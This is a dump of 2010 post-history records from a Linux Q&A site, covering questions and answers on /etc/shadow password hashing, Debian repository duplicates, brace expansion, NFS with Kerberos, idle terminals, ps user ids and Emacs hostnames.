  <row Id="4899" PostHistoryTypeId="6" PostId="2366" RevisionGUID="2a606bd1-39ae-4906-bfed-3d3671ef5719" CreationDate="2010-09-23T11:28:52.577" UserId="1903" Comment="edited tags" Text="élinuxàépasswordà" />
  <row Id="4900" PostHistoryTypeId="2" PostId="2368" RevisionGUID="4788a9ec-bd59-4f82-865d-f73c1cbde455" CreationDate="2010-09-23T11:31:06.217" UserId="202" Text="It is practically impossible to decrypt those paswords since they are one-way encrypted." />
  <row Id="4904" PostHistoryTypeId="2" PostId="2370" RevisionGUID="1809438a-13a2-46ab-8fbd-0fe7aacd37fd" CreationDate="2010-09-23T11:41:11.487" UserId="1941" Text="You can only decrypt the shadow file by brute force: It includes hashes of the passwords, so your only chance is to guess passwords, calculate the hash and look if the hashes are identical. See [wikipedia][1] for details about the hash generation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Crypt_%28Unix%29#Library_Function" />
  <row Id="4905" PostHistoryTypeId="2" PostId="2371" RevisionGUID="efeadcfa-dbce-4cd3-8a59-d9f97b022589" CreationDate="2010-09-23T11:46:11.397" UserId="629" Text="As others have said, you can't really decrypt the shadow file.&#xD;&#xA;&#xD;&#xA;The only thing you can try is to brute-force guess the password using a tool like [John the Ripper][1].&#xD;&#xA;This may or may not succeed, and will almost certainly take a long time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openwall.com/john/" />
  <row Id="4909" PostHistoryTypeId="2" PostId="2374" RevisionGUID="8af9f876-f368-4977-9338-6423948c0e65" CreationDate="2010-09-23T11:55:16.590" UserId="1339" Text="Passwords on a linux system are not encrypted, they are hashed which is a huge difference.&#xD;&#xA;&#xD;&#xA;It is not possible to reverse a hash function by definition.&#xD;&#xA;For further information see the [Hash Wikipedia entry][1].&#xD;&#xA;&#xD;&#xA;Which hash function is used, depends on your system configuration. [MD5][2] and [blowfish][3] are common examples for used hash functions.&#xD;&#xA;&#xD;&#xA;So the &quot;real&quot; password of a user is never stored on the system.&#xD;&#xA;&#xD;&#xA;If you login, the string you enter as the password will be hashed and checked against your /etc/shadow file. If it matches, you obviously entered the correct password.&#xD;&#xA;&#xD;&#xA;Anyway there are still some attack vectors against the password hashes. You could keep a dictinoary of popular passwords and try them automaticly. There are a lot of dictionaries availiable on the net. Another aproach would be to just try out all possible combinations of characters which will consume a huge amount of time. This is known as bruteforce attack.&#xD;&#xA;&#xD;&#xA;[Rainbowtables][4] are another nice attac vector against hashes. The idea behind this concept, is to simply pre calculate all possible hashes and then just lookup a hash in the tables to find the corresponding password. There are several [distributed computing projects to create such tables][5], the size differs on the characters used and is mostly several TB.&#xD;&#xA;&#xD;&#xA;To minimize the risk of such lookup tables its a common practice and the default behaviour in Unix/Linux to add a so called &quot;[salt][6]&quot; to the password hash. You hash your password, add a random salt value to the hash and hash this new string again. You need to save the new hash and the salt to be able to check if a entered value is the correct password. The huge advantage of this method is, that you would have to create new lookup tables for each unique salt.&#xD;&#xA;&#xD;&#xA;A popular tool to execute dictionary or brute force attacks against user passwords of different operating systems is [John The Ripper][7] (or JTR).&#xD;&#xA;See the [project homepage][7] for more details:&#xD;&#xA;&#xD;&#xA;&gt; John the Ripper is a fast password&#xD;&#xA;&gt; cracker, currently available for many&#xD;&#xA;&gt; flavors of Unix, Windows, DOS, BeOS,&#xD;&#xA;&gt; and OpenVMS. Its primary purpose is to&#xD;&#xA;&gt; detect weak Unix passwords.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hash_function&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/MD5&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Blowfish_(cipher)&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Rainbow_table&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Rainbow_table&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Salt_(cryptography)&#xD;&#xA;  [7]: http://www.openwall.com/john/" />
  <row Id="4910" PostHistoryTypeId="2" PostId="2375" RevisionGUID="9c102606-a953-4ae4-9e63-62cab595141c" CreationDate="2010-09-23T11:55:46.640" UserId="591" Text="Passwords are encrypted using an algorithm that will take a password and create a hash that is unique to that password. This hash is stored in the /etc/shadow file. It is not possible to recover the password from the hash. The only methods of recovering a password is to either [**brute force**][1] the entire keyspace or to use some sort of [**dictionary**][2] attack. Early hash functions used the DES standard. The increase in computing power has made it possible to brute force the DES keyspace in a reasonable time. Modern hash functions used to encrypt passwords include MD5, SHA etc. More information on the crypt(3) library can be found [**here**][3]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Brute_force_attack&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Dictionary_attack&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Crypt_%28Unix%29" />
  <row Id="4911" PostHistoryTypeId="6" PostId="2366" RevisionGUID="763041c6-e6f9-43c8-abea-a65fc5f5fdce" CreationDate="2010-09-23T11:56:51.923" UserId="1339" Comment="edited tags" Text="élinuxàépasswordàépamàécryptographyà" />
  <row Id="4912" PostHistoryTypeId="2" PostId="2376" RevisionGUID="a8152699-dd73-4f1a-9437-2931a3fbb5f4" CreationDate="2010-09-23T13:11:12.927" UserDisplayName="Vlad" Text="diff /tmp/localtempfile &lt;(ssh -A -o StrictHostKeyChecking=no root@server &quot;cat /tmp/remotetempfile&quot;)" />
  <row Id="4913" PostHistoryTypeId="2" PostId="2377" RevisionGUID="6c721434-9df2-4770-84ef-aaf690e85fe5" CreationDate="2010-09-23T13:49:34.087" UserId="688" Text="I got 2 repos locally. One is a copy of Squeeze and another is one managed by repoupdate (and has stuff not available in Debian official repos, but also has stuff from Sid). Are there ready-made tools that would generate a list of duplicate packages between the two? I plan to&#xD;&#xA;use this list to reduce disc usage by removing them from the repoupdate-managed repo." />
  <row Id="4914" PostHistoryTypeId="1" PostId="2377" RevisionGUID="6c721434-9df2-4770-84ef-aaf690e85fe5" CreationDate="2010-09-23T13:49:34.087" UserId="688" Text="how to display duplicates between 2 repos" />
  <row Id="4915" PostHistoryTypeId="3" PostId="2377" RevisionGUID="6c721434-9df2-4770-84ef-aaf690e85fe5" CreationDate="2010-09-23T13:49:34.087" UserId="688" Text="édebianà" />
  <row Id="4916" PostHistoryTypeId="6" PostId="2377" RevisionGUID="3185d1da-87fe-4049-a219-7782fa89cffb" CreationDate="2010-09-23T13:51:52.337" UserId="1339" Comment="edited tags" Text="épackagingàédebianà" />
  <row Id="4917" PostHistoryTypeId="2" PostId="2378" RevisionGUID="d392b79d-2ceb-4960-a290-e9a951fe910b" CreationDate="2010-09-23T13:56:46.817" UserId="1327" Text="**[Brace Expansion][1]:**&#xD;&#xA;&#xD;&#xA;&gt; Brace expansion is a mechanism by which arbitrary strings may be generated. &#xD;&#xA;&#xD;&#xA;It allows you to replace tedious lines like: &#xD;&#xA;&#xD;&#xA;    mv loong/and/complex/file/name loong/and/complex/file/name.bacukup&#xD;&#xA;&#xD;&#xA;with a shorter instance&#xD;&#xA;&#xD;&#xA;    mv loong/and/complex/file/name{,backup}&#xD;&#xA;&#xD;&#xA;*some other uses*&#xD;&#xA;&#xD;&#xA;    # to display the diff between /etc/rc.conf and /etc/rc.conf.pacsave&#xD;&#xA;    diff /etc/rc.conf{,.pacsave}&#xD;&#xA;   &#xD;&#xA;    # to list files in both /usr/share and /usr/local/share&#xD;&#xA;    ls /usr/{,local}/share &#xD;&#xA;&#xD;&#xA;[1]:http://snap.nlc.dcccd.edu/reference/bash1/features_11.html" />
  <row Id="4918" PostHistoryTypeId="16" PostId="2378" RevisionGUID="d392b79d-2ceb-4960-a290-e9a951fe910b" CreationDate="2010-09-23T13:56:46.817" UserId="-1" />
  <row Id="4919" PostHistoryTypeId="2" PostId="2379" RevisionGUID="b2f70be3-2cbb-4d3f-8c64-4f87f605e704" CreationDate="2010-09-23T13:59:42.257" UserId="1934" Text="At my current position, we use some outdated proprietary software in order to benchmark new computers that the company is testing and evaluating for purchase. We would like to move on to something more current. It would seem to me that using a GNU/Linux distro with a completely automated installation process would be ideal for this task.&#xD;&#xA;&#xD;&#xA;Basically, what I want to have is a minimalist GNU/Linux distribution that will allow me to simply input a network location to store the benchmarking results, and will install the OS and run a suite of benchmarking software completely automated. This seems like a problem that others have likely come across, but I have been unable to find anything similar that fits my needs.&#xD;&#xA;&#xD;&#xA;Any suggestions on where to start with this? Does a distro like this exist out there somewhere? If not, I currently plan on just writing a script that will install a list of benchmarking software onto the machine and run them. Any suggestions on specific software choices for this? &#xD;&#xA;" />
  <row Id="4920" PostHistoryTypeId="1" PostId="2379" RevisionGUID="b2f70be3-2cbb-4d3f-8c64-4f87f605e704" CreationDate="2010-09-23T13:59:42.257" UserId="1934" Text="Linux Distro specifically for benchmarking?" />
  <row Id="4921" PostHistoryTypeId="3" PostId="2379" RevisionGUID="b2f70be3-2cbb-4d3f-8c64-4f87f605e704" CreationDate="2010-09-23T13:59:42.257" UserId="1934" Text="élinuxàéhardwareàéhardwareöcompatibilityà" />
  <row Id="4922" PostHistoryTypeId="2" PostId="2380" RevisionGUID="22feb62e-6393-4d0d-b3b1-65d9d2dca4b5" CreationDate="2010-09-23T14:15:56.813" UserId="33" Text="You could go along with [fdupes][1] which uses md5sum to compare files and allows deletion of duplicates. I don't know enough about Debian repositories though, so you'll probably have to drop those files from some package registry as well (I think there is a file called packages.gz or similar in each repository).&#xD;&#xA;&#xD;&#xA;So what you should do:&#xD;&#xA;&#xD;&#xA; 1. Use fdupes to generate a list of duplicates&#xD;&#xA; 2. use that list to drop packages from the repository information&#xD;&#xA; 3. delete the actual files&#xD;&#xA;&#xD;&#xA;  [1]: http://netdial.caribe.net/~adrian2/fdupes.html" />
  <row Id="4923" PostHistoryTypeId="5" PostId="1036" RevisionGUID="284168e5-70ae-43c9-b512-aef5d5c4dff0" CreationDate="2010-09-23T14:35:38.870" UserId="73" Comment="added 4 characters in body" Text="My personal favorite is &#xD;&#xA;&#xD;&#xA;    find . -name &lt;i&gt;filename&lt;/i&gt; | xargs grep -in '&lt;i&gt;pattern to search for&lt;/i&gt;'&#xD;&#xA;&#xD;&#xA;What the above command does is find a file of name x and then searches said file for whatever pattern you are looking for. Incredibly useful if you are looking for a particular bit of code in a file that's somewhere in your subdirectories." />
  <row Id="4924" PostHistoryTypeId="2" PostId="2381" RevisionGUID="0b8cd030-99c8-4355-adf5-9b3e7668ad50" CreationDate="2010-09-23T14:35:59.040" UserId="305" Text="How to disable system beep on Linux? I don have superuser powers so I cannot recompile kernel/unload module. &#xD;&#xA;&#xD;&#xA;PS. System is modification of ubuntu 8.04 but soon it will be upgraded to 10.04." />
  <row Id="4925" PostHistoryTypeId="1" PostId="2381" RevisionGUID="0b8cd030-99c8-4355-adf5-9b3e7668ad50" CreationDate="2010-09-23T14:35:59.040" UserId="305" Text="How to disable system beep for non-privilaged user" />
  <row Id="4926" PostHistoryTypeId="3" PostId="2381" RevisionGUID="0b8cd030-99c8-4355-adf5-9b3e7668ad50" CreationDate="2010-09-23T14:35:59.040" UserId="305" Text="élinuxàéubuntuàédebianà" />
  <row Id="4927" PostHistoryTypeId="5" PostId="2213" RevisionGUID="9de0200a-d625-4124-99c9-cbe9181d2d06" CreationDate="2010-09-23T14:37:49.157" UserId="73" Comment="deleted 8 characters in body; edited tags" Text="How do I copy recursively like `cp -rf *`, but excluding hidden directories (directories starting with .) and their contents?" />
  <row Id="4928" PostHistoryTypeId="6" PostId="2213" RevisionGUID="9de0200a-d625-4124-99c9-cbe9181d2d06" CreationDate="2010-09-23T14:37:49.157" UserId="73" Comment="deleted 8 characters in body; edited tags" Text="élinuxàécommandölineàécpà" />
  <row Id="4929" PostHistoryTypeId="2" PostId="2382" RevisionGUID="7691dda0-af9e-45ea-903d-fc95a4864a2a" CreationDate="2010-09-23T14:41:12.750" UserId="1966" Text="Hello,&#xD;&#xA;&#xD;&#xA;I've setup NFSv4 using Kerberos (works great), but now I need to add NFSv3 with Kerberos. When trying to mount the NFSv3 export, I get a permission needed error on the client and on the server the error is &quot;unmatched host&quot;. &#xD;&#xA;&#xD;&#xA;    In /etc/export I just have: &#xD;&#xA;    /test gss/krb5(rw,sync)&#xD;&#xA;&#xD;&#xA;The &quot;unmatched host&quot; error usually means that you haven't specified that the client can access the server in the export. But with kerberos shouldn't need to. The export man file states:&#xD;&#xA;&#xD;&#xA;**RPCSEC_GSS security**&#xD;&#xA;To restrict access to an export using rpcsec_gss security, use the special string &quot;gss/krb5&quot; as the client. It is not possible to simultaneously require rpcsec_gss and to make requirements on the IP address of the client.&#xD;&#xA;&#xD;&#xA;I'm pretty sure Kerberos is setup correctly (again NFSv4 with kerberos works) and from what I've read on the web, I think the NFS server is setup correctly (settings are below) and the necessary services are running. I currently testing on Ubuntu 10.4, but had the same problem on Novell SLED 10.3.&#xD;&#xA;&#xD;&#xA;Anyone have an idea what I could be doing wrong? or can point me to a NFSv3 w/kerberos how-to?&#xD;&#xA;&#xD;&#xA;Thank you,&#xD;&#xA;Marcus&#xD;&#xA;&#xD;&#xA;    nss-common:&#xD;&#xA;    NEED_STATD=yes&#xD;&#xA;    STATDOPTS=&#xD;&#xA;    NEED_IDMAPD=no&#xD;&#xA;    NEED_GSSD=yes&#xD;&#xA;    &#xD;&#xA;    nss-kernel-srever:&#xD;&#xA;    RPCNFSDCOUNT=&quot;8 --no-nfs-version 4  --no-nfs-version 2&quot;&#xD;&#xA;    RPCNFSDPRIORITY=0&#xD;&#xA;    RPCMOUNTDOPTS=&quot;--manage-gids&quot;&#xD;&#xA;    NEED_SVCGSSD=yes&#xD;&#xA;    RPCSVCGSSDOPTS=&quot; -vvv &quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4930" PostHistoryTypeId="1" PostId="2382" RevisionGUID="7691dda0-af9e-45ea-903d-fc95a4864a2a" CreationDate="2010-09-23T14:41:12.750" UserId="1966" Text="NFSv3 with Kerberos &quot;unmatched host&quot; error" />
  <row Id="4931" PostHistoryTypeId="3" PostId="2382" RevisionGUID="7691dda0-af9e-45ea-903d-fc95a4864a2a" CreationDate="2010-09-23T14:41:12.750" UserId="1966" Text="énfsà" />
  <row Id="4932" PostHistoryTypeId="5" PostId="2381" RevisionGUID="79ff8405-78de-44f1-8777-4a1aaa21d81f" CreationDate="2010-09-23T14:44:01.860" UserId="73" Comment="added 2 characters in body" Text="How to disable system beep on Linux? I don't have superuser powers so I cannot recompile kernel/unload module. &#xD;&#xA;&#xD;&#xA;PS. System is modification of ubuntu 8.04 but soon it will be upgraded to 10.04." />
  <row Id="4933" PostHistoryTypeId="6" PostId="2382" RevisionGUID="7799c4a3-d97b-41ea-9fa2-8e41a58025d5" CreationDate="2010-09-23T14:46:16.160" UserId="1966" Comment="edited tags" Text="élinuxàéubuntuàénfsà" />
  <row Id="4934" PostHistoryTypeId="5" PostId="2382" RevisionGUID="97cec1f3-5b19-4871-8fcb-c0ac85894d10" CreationDate="2010-09-23T14:57:35.053" UserId="73" Comment="deleted 30 characters in body" Text="I've setup NFSv4 using Kerberos (works great), but now I need to add NFSv3 with Kerberos. When trying to mount the NFSv3 export, I get a permission needed error on the client and on the server the error is &quot;unmatched host&quot;. &#xD;&#xA;&#xD;&#xA;    In /etc/export I just have: &#xD;&#xA;    /test gss/krb5(rw,sync)&#xD;&#xA;&#xD;&#xA;The &quot;unmatched host&quot; error usually means that you haven't specified that the client can access the server in the export. But with kerberos shouldn't need to. The export man file states:&#xD;&#xA;&#xD;&#xA;&gt; **RPCSEC_GSS security**&#xD;&#xA;To restrict access to an export using rpcsec_gss security, use the special string &quot;gss/krb5&quot; as the client. It is not possible to simultaneously require rpcsec_gss and to make requirements on the IP address of the client.&#xD;&#xA;&#xD;&#xA;I'm pretty sure Kerberos is setup correctly (again NFSv4 with kerberos works) and from what I've read on the web, I think the NFS server is setup correctly (settings are below) and the necessary services are running. I currently testing on Ubuntu 10.4, but had the same problem on Novell SLED 10.3.&#xD;&#xA;&#xD;&#xA;Anyone have an idea what I could be doing wrong? or can point me to a NFSv3 w/kerberos how-to?&#xD;&#xA;&#xD;&#xA;    nss-common:&#xD;&#xA;    NEED_STATD=yes&#xD;&#xA;    STATDOPTS=&#xD;&#xA;    NEED_IDMAPD=no&#xD;&#xA;    NEED_GSSD=yes&#xD;&#xA;    &#xD;&#xA;    nss-kernel-srever:&#xD;&#xA;    RPCNFSDCOUNT=&quot;8 --no-nfs-version 4  --no-nfs-version 2&quot;&#xD;&#xA;    RPCNFSDPRIORITY=0&#xD;&#xA;    RPCMOUNTDOPTS=&quot;--manage-gids&quot;&#xD;&#xA;    NEED_SVCGSSD=yes&#xD;&#xA;    RPCSVCGSSDOPTS=&quot; -vvv &quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4935" PostHistoryTypeId="2" PostId="2383" RevisionGUID="fe578307-08d3-43c2-b2b8-052c69b7cdc8" CreationDate="2010-09-23T15:20:37.820" UserId="1941" Text="For beeps generated in your shell (which seem to be the most annoying ones) you can say `set bell-style none` in ~/.inputrc. Note that this is not terminal- but host-specific. I.e. when you log in to an other computer via ssh where this setting in .inputrc doesn't exist, the beep is back. (Not tested on Ubuntu, I use Fedora.)" />
  <row Id="4936" PostHistoryTypeId="2" PostId="2384" RevisionGUID="4e910405-b25a-44d9-8768-6f0d89360e2e" CreationDate="2010-09-23T15:29:22.100" UserId="1794" Text="Hi,&#xD;&#xA;&#xD;&#xA;while working I start lots of gnome-terminals and do something with them. `dd` on first terminal, 12 ssh sessions to a bunch of servers to do something. These sessions are finishing it's job and get disconnected for idle or because the session is closed after the command.&#xD;&#xA;&#xD;&#xA;However, I need a script which closes unused gnome-terminal processes. I thought about softly killing all zsh processes without child processes. This will hopefully close the terminal in a clean way.&#xD;&#xA;&#xD;&#xA;    init─┬─[...]&#xD;&#xA;         ├─gnome-terminal─┬─gnome-pty-helpe&#xD;&#xA;         │                ├─2*[zsh───ssh]&#xD;&#xA;         │                ├─zsh───dd&#xD;&#xA;         │                ├─zsh───pstree&#xD;&#xA;         │                ├─4*[zsh]                 &lt;&lt;&lt;&lt;&#xD;&#xA;         │                └─{gnome-terminal}&#xD;&#xA;         .&#xD;&#xA;         .&#xD;&#xA;         .&#xD;&#xA;&#xD;&#xA;I thinking about writing a more or less simple bash script to check the running processes and end them if zsh has no child processes and no activity for 4 hours.&#xD;&#xA;&#xD;&#xA;I am unsure&#xD;&#xA;&#xD;&#xA; - If this is a good idea generally.&#xD;&#xA; - If somebody already published a tool to do this&#xD;&#xA; - If there is a way to get the child processes of zsh (without `grep`ing and `awk`ing the `pstree` output ;)&#xD;&#xA; - How I get the last activity (thought about a pre and post command in zsh)&#xD;&#xA; - If there is a better way than `kill -HUP &lt;zsh pid&gt;` to end the processes&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;" />
  <row Id="4937" PostHistoryTypeId="1" PostId="2384" RevisionGUID="4e910405-b25a-44d9-8768-6f0d89360e2e" CreationDate="2010-09-23T15:29:22.100" UserId="1794" Text="closing unused gnome terminals" />
  <row Id="4938" PostHistoryTypeId="3" PostId="2384" RevisionGUID="4e910405-b25a-44d9-8768-6f0d89360e2e" CreationDate="2010-09-23T15:29:22.100" UserId="1794" Text="éterminalàékillà" />
  <row Id="4939" PostHistoryTypeId="2" PostId="2385" RevisionGUID="4dafbc9e-b02a-46f2-8b61-fbf4762635d0" CreationDate="2010-09-23T15:48:12.147" UserId="1294" Text="According to the zsh manual &#xD;&#xA;&#xD;&#xA;&gt; **TMOUT**  If this parameter is nonzero, the shell  will&#xD;&#xA;&gt; receive  an  ALRM signal  if  a command is not entered&#xD;&#xA;&gt; within the specified number of seconds after issuing&#xD;&#xA;&gt; a  prompt.  If  there  is  a  trap  on SIGALRM,  it&#xD;&#xA;&gt; will be executed and a new alarm is scheduled using the&#xD;&#xA;&gt; value of the TMOUT parameter after executing the  trap.&#xD;&#xA;&gt; If no  trap  is  set, and the idle time of the terminal&#xD;&#xA;&gt; is not less than the value of the TMOUT parameter, zsh&#xD;&#xA;&gt; terminates.   Otherwise  a  new  alarm is scheduled&#xD;&#xA;&gt; to TMOUT seconds after the last keypress.&#xD;&#xA;&#xD;&#xA;I tested&#xD;&#xA;&#xD;&#xA;    zsh&gt; export TMOUT=10        &#xD;&#xA;&#xD;&#xA;and the superior gnome-terminal died when the shell quit. The same mechanism also works within bash. This does address your concerns about nuking busy terminals, as it only starts counting after issuing a shell prompt&#xD;&#xA;&#xD;&#xA;I don't think it a good idea generally, as it creates &quot;magical&quot; events which could potentially lose state. I'd recommend getting better with the &quot;close window&quot; and &quot;focus another window (maybe a terminal)&quot; keys of your window manager of choice. But if you do want  poofing terminals, this is probably the best way to go.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4940" PostHistoryTypeId="2" PostId="2386" RevisionGUID="b8ee116a-6ccb-4586-99e2-a06b1f5b6e3f" CreationDate="2010-09-23T15:50:05.997" UserId="663" Text="I have [Eucalyptus][1] installed on my Linux machine, and I've noticed that for processes owned by the eucalyptus user, **ps** reports the userid instead of the username. For example:&#xD;&#xA;&#xD;&#xA;    $ sudo -i -u eucalyptus&#xD;&#xA;    $ ps u&#xD;&#xA;    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND&#xD;&#xA;    107      29764  0.0  0.0  19376  2104 pts/2    S    11:43   0:00 -bash&#xD;&#xA;    107      30198  0.0  0.0  15256  1180 pts/2    R+   11:44   0:00 ps u&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What would cause this to happen? &#xD;&#xA;&#xD;&#xA;Note that there's a proper entry in /etc/passwd:&#xD;&#xA;&#xD;&#xA;    $ grep eucalyptus /etc/passwd&#xD;&#xA;    eucalyptus:x:107:115::/var/lib/eucalyptus:/bin/bash&#xD;&#xA;&#xD;&#xA;Also note that **ls** property reports the ownership of files by the eucalyptus account:&#xD;&#xA;&#xD;&#xA;    $ touch foo&#xD;&#xA;    $ ls -l foo&#xD;&#xA;    -rw-r--r-- 1 eucalyptus eucalyptus 0 2010-09-23 11:47 foo&#xD;&#xA;&#xD;&#xA;  [1]: http://open.eucalyptus.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4941" PostHistoryTypeId="1" PostId="2386" RevisionGUID="b8ee116a-6ccb-4586-99e2-a06b1f5b6e3f" CreationDate="2010-09-23T15:50:05.997" UserId="663" Text="What would cause ps to report numerical userid instead of login?" />
  <row Id="4942" PostHistoryTypeId="3" PostId="2386" RevisionGUID="b8ee116a-6ccb-4586-99e2-a06b1f5b6e3f" CreationDate="2010-09-23T15:50:05.997" UserId="663" Text="éprocessàépsà" />
  <row Id="4943" PostHistoryTypeId="2" PostId="2387" RevisionGUID="517b4afd-93bb-431d-b7bc-e11cda4b5473" CreationDate="2010-09-23T16:41:39.443" UserId="12" Text="So I changed the name of my computer recently, by editing `/etc/hostname`. The bash prompt is `user@name`, so I know it has worked.&#xD;&#xA;&#xD;&#xA;But in emacs, in the window bar it says `emacs@name.tiscali.co.uk`. Tiscali is my internet provider. Before I changed it, emacs just had `emacs@oldname` in the window bar.&#xD;&#xA;&#xD;&#xA;How can I remove my IP's name from the window bar in emacs?" />
  <row Id="4944" PostHistoryTypeId="1" PostId="2387" RevisionGUID="517b4afd-93bb-431d-b7bc-e11cda4b5473" CreationDate="2010-09-23T16:41:39.443" UserId="12" Text="Why is my hostname different in Emacs?" />
  <row Id="4945" PostHistoryTypeId="3" PostId="2387" RevisionGUID="517b4afd-93bb-431d-b7bc-e11cda4b5473" CreationDate="2010-09-23T16:41:39.443" UserId="12" Text="élinuxàéemacsàéhostnameà" />
  <row Id="4946" PostHistoryTypeId="2" PostId="2388" RevisionGUID="ed7d298b-339d-44cf-b129-831c34839ca1" CreationDate="2010-09-23T17:18:46.923" UserId="550" Text="Sure you have a problem with your /etc/passwd... you edited it manually, didn't you? :)&#xD;&#xA;&#xD;&#xA;anyway, I reproduced the problem copying the line of the user in /etc/passwd and **changing the user name by the user id.**&#xD;&#xA;&#xD;&#xA;Like this:&#xD;&#xA;&#xD;&#xA;    root@juice:/etc/# grep 129 /etc/passwd&#xD;&#xA;    129:x:129:137:Puppet configuration management daemon,,,:/var/lib/puppet:/bin/false&#xD;&#xA;    puppet:x:129:137:Puppet configuration management daemon,,,:/var/lib/puppet:/bin/false&#xD;&#xA;    &#xD;&#xA;Note that the &quot;numbered user&quot; is the first.&#xD;&#xA;&#xD;&#xA;    root@juice:/etc/# sudo -u puppet -s&#xD;&#xA;    129@juice:/etc/$ whoami&#xD;&#xA;    129&#xD;&#xA;    &#xD;&#xA;    129@juice:/etc/$ touch /tmp/a&#xD;&#xA;    129@juice:/etc/$ ls -l /tmp/a&#xD;&#xA;    -rw-r--r-- 1 129 puppet 0 2010-09-23 19:12 /tmp/a&#xD;&#xA;    &#xD;&#xA;    129@juice:/etc/$ ps u&#xD;&#xA;    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND&#xD;&#xA;    129      12443  2.2  0.1   7112  4380 pts/1    S    19:12   0:00 /bin/bash&#xD;&#xA;    129      12490  0.0  0.0   2716  1068 pts/1    R+   19:12   0:00 ps u&#xD;&#xA;&#xD;&#xA;Try to execute &quot;whoami&quot;, sure it returns 107 :)&#xD;&#xA;&#xD;&#xA;It is a strange behaviour, ps returns the number and ls the normal name :-m... &#xD;&#xA;&#xD;&#xA;To solve it:&#xD;&#xA; &#xD;&#xA; - just edit /etc/passwd and delete the incorrect entry&#xD;&#xA; - or use 'userdel 107', but all programs from eucalyptus must be stoped&#xD;&#xA;" />
  <row Id="4948" PostHistoryTypeId="2" PostId="2390" RevisionGUID="4420fa18-c74e-4760-bb10-52acaca37611" CreationDate="2010-09-23T18:10:56.017" UserId="1971" Text="`ps` uses the uid when the username is longer than 8 characters.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4949" PostHistoryTypeId="2" PostId="2391" RevisionGUID="e2bd1c93-4b5a-4b98-8b70-2fff3049be62" CreationDate="2010-09-23T18:20:09.103" UserId="1971" Text="If you use `exec` to start your command (e.g. `exec ssh *hostname*`), the gnome-terminal it's running on should close when the process exits (assuming you have it set to exit the terminal when the command exits, which is the default).&#xD;&#xA;&#xD;&#xA;You would still need to use the shell's timeout capability or other smarts for hung processes, but that would take care of normal exits or disconnected remotes if you're just trying to close the terminal sessions.&#xD;&#xA;" />
  <row Id="4950" PostHistoryTypeId="2" PostId="2392" RevisionGUID="6238a7d0-db05-4da5-a8b0-8b11c4441693" CreationDate="2010-09-23T18:43:03.113" UserId="1941" Text="You might walk through the steps in http://www.debianadmin.com/change-hostname-or-server-name-of-a-linux-machine.html&#xD;&#xA;&#xD;&#xA;Emacs seems to use the full qualified domain name, so make sure this matches your desired name." />
  <row Id="4954" PostHistoryTypeId="4" PostId="2386" RevisionGUID="c0ea3322-ba86-4f5a-9f75-d9654190e5e5" CreationDate="2010-09-23T19:02:38.613" UserId="663" Comment="Made question more precise" Text="What would cause ps to report uid instead of username?" />
  <row Id="4955" PostHistoryTypeId="2" PostId="2394" RevisionGUID="ebf15fbd-3d7b-4ed2-b557-29a03aecae3e" CreationDate="2010-09-23T19:17:07.693" UserId="885" Text="The name in `/etc/hostname` is what your computer thinks it's called. That's often what is meant by hostname.&#xD;&#xA;&#xD;&#xA;Computers connected to the Internet (including intranets) have names; more precisely, most Internet network interfaces have a name associated with their IP address. Internet nodes that are not routers generally have a single network interface worth consideration, and the name associated to this interface is called its *fully qualified domain name* (FQDN). The FQDN is the name you can use to designate your computer from any other Internet node (well, assuming there are no complex configurations involved). Generally, to keep confusion down, the FQDN is something like `foo.example.com` where `foo` is the host name.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;When you have a single frame open, Emacs uses the value of the `system-name` variable as the frame title. This variable is set to the FQDN when Emacs starts. You can change it from your `.emacs` if you wish. This variable isn't used much, so don't worry about changing it. It is used to form a default email address when you send mail or news posts from within Emacs, but you'd almost always override that email address setting anyway.&#xD;&#xA;&#xD;&#xA;The frame title format is determined by the `frame-title-format` variable (unless overridden for a specific frame). You can change it if you'd like to use something other than `system-name` when there is a single frame. For example, if you want to always see the buffer name in the frame title (as opposed to when there is only one Emacs frame), you can set it to `&quot;%b&quot;`.&#xD;&#xA;" />
  <row Id="4956" PostHistoryTypeId="5" PostId="2376" RevisionGUID="0ebf2a4f-d592-4a9c-b607-3b7d51c83399" CreationDate="2010-09-23T19:18:19.557" UserId="73" Comment="added 4 characters in body" Text="    diff /tmp/localtempfile &lt;(ssh -A -o StrictHostKeyChecking=no root@server &quot;cat /tmp/remotetempfile&quot;)" />
  <row Id="4957" PostHistoryTypeId="5" PostId="2367" RevisionGUID="8d391715-7ab4-4116-8a40-eb25baf84035" CreationDate="2010-09-23T19:18:33.563" UserId="73" Comment="added 1 characters in body" Text="It's a trademark of SCO" />
  <row Id="4958" PostHistoryTypeId="2" PostId="2395" RevisionGUID="6c098630-4444-4b5a-b8cd-f1bc0816f534" CreationDate="2010-09-23T19:56:09.377" UserId="1571" Text="I'm wondering if this is possible. I want to set up a linux system that mounts `/` remote linux machine to `/` on the local machine. However, I want all changes on the local machine to be saved to ram so that it doesn't affect the remote machine. Ideally the changes would NEVER be written, so that when I reboot, it mounts the original `/` partition again disregarding all changes made during the previous session.&#xD;&#xA;&#xD;&#xA;Is something like that possible?" />
